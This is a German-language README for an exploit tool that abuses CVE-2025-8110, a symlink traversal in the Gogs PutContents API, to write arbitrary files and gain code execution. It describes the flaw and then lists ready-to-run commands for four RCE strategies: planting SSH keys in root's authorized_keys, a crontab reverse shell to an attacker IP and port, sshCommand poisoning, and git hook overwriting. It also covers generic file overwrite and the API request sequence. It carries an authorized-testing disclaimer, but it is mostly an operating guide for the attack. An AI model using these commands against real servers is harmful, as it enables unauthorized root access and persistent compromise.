
Gogs Symlink Traversal → RCE
CVE-2025-8110 ist eine kritische Schwachstelle im Gogs (selbst gehosteter Git-Dienst) in Versionen <= 0.13.3. Die PutContents-API validiert Dateipfade auf Verzeichnis-Traversal (../), löst jedoch keine symbolischen Links vor dem Schreiben auf. Ein authentifizierter Benutzer kann einen Commit mit einem Symlink, der auf eine beliebige Serverdatei verweist, pushen und dann PutContents auf diesen Symlink aufrufen, um die echte Datei mit vom Angreifer kontrolliertem Inhalt zu überschreiben.
Dies ist eine Umgehung des früheren Fixes für CVE-2024-55947, der nur direktes Pfad-Traversal, aber kein symlink-basiertes Traversal adressierte.
| Detail | Wert |
|---|---|
| CVE | CVE-2025-8110 |
| Betroffen | Gogs <= 0.13.3 |
| Behoben | Gogs 0.13.4 |
| Typ | Authentifiziertes beliebiges Dateischreiben → RCE |
| CVSS | 8.8 (Hoch) |
| Komponente | PutContents API (/api/v1/repos/:owner/:repo/contents/:path) |
requests (pip install requests)git CLIDieses Exploit unterstützt 4 eingebaute RCE-Strategien sowie einen generischen Dateischreibmodus:
# Check if target is vulnerable (no credentials needed)
python3 exploit.py http://target:3000 --check-only
# Strategy A: Plant SSH key for root access
python3 exploit.py http://target:3000 -u user -p pass \
--rce-keys ~/.ssh/id_rsa.pub --cleanup
# Strategy B: Crontab reverse shell
python3 exploit.py http://target:3000 -u user -p pass \
--rce-cron --lhost 10.10.14.5 --lport 4444
# Strategy C: sshCommand injection
python3 exploit.py http://target:3000 -u user -p pass \
--rce-ssh --lhost 10.10.14.5 --lport 4444
# Strategy D: Git hook injection
python3 exploit.py http://target:3000 -u user -p pass \
--rce-hook --lhost 10.10.14.5 --lport 4444
# Generic file write
python3 exploit.py http://target:3000 -u user -p pass \
--write --target-file /tmp/pwned --content "proof-of-concept"
# Write from local file
python3 exploit.py http://target:3000 -u user -p pass \
--write --target-file /root/.ssh/authorized_keys \
--content-file ~/.ssh/id_rsa.pub
POST /api/v1/users/:user/tokens) - Anmeldung über API-Token (Basic Auth)POST /api/v1/user/repos mit auto_init: true (POST /api/v1/user/repos (auto_init))PUT /api/v1/repos/:owner/:repo/contents/:link mit base64-kodiertem Inhalt. Gogs löst den Symlink auf der Festplatte auf und schreibt in die echte Datei (PUT /api/v1/repos/.../contents/linkn_ame)target Gogs-Basis-URL (z.B. http://target:3000)
Authentifizierung:
-u, --user Gogs-Benutzername
-p, --password Gogs-Passwort
RCE-Strategien:
--rce-keys PUBKEY SSH-öffentlichen Schlüssel einpflanzen → /root/.ssh/authorized_keys
--rce-cron Reverse Shell → /etc/crontab
--rce-ssh .git/config sshCommand vergiften + auslösen
--rce-hook pre-receive Hook überschreiben + auslösen
--write Allgemeines beliebiges Dateischreiben
Verbindung / Nutzlast:
--lhost LHOST Angreifer-IP für Reverse Shell
--lport LPORT Angreifer-Port für Reverse Shell
--target-file PATH Serverpfad zum Überschreiben (--write-Modus)
--content STRING Inhalt zum Schreiben
--content-file DATEI Lokale Datei zum Schreiben
Optionen:
--repo NAME Repository-Name (Standard: zufällig)
--cleanup Exploit-Repository nach Abschluss löschen
-o, --output DATEI Berichtsdatei (Standard: loot.json)
--timeout SEKUNDEN Anfrage-Timeout (Standard: 15)
--proxy URL HTTP-Proxy zum Debuggen
--check-only Nur prüfen, ob Ziel Gogs ist, nicht ausnutzen
Dieses Tool wird ausschließlich für autorisierte Sicherheitstests und Bildungszwecke bereitgestellt. Unbefugter Zugriff auf Computersysteme ist illegal. Der Autor übernimmt keine Verantwortung für Missbrauch. Verwenden Sie es nur auf Systemen, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Erlaubnis zum Testen haben.
| Strategie | Flag | Zieldatei | Auslöser |
|---|
| A — SSH-Schlüssel | --rce-keys | /root/.ssh/authorized_keys | SSH-Anmeldung |
| B — Crontab | --rce-cron | /etc/crontab | Automatisch (innerhalb von 60s) |
| C — sshCommand | --rce-ssh | .git/config | SSH-Git-Operation |
| D — Git-Hook | --rce-hook | hooks/pre-receive | git push |
| Allgemein | --write | Beliebiger Pfad | Manuell |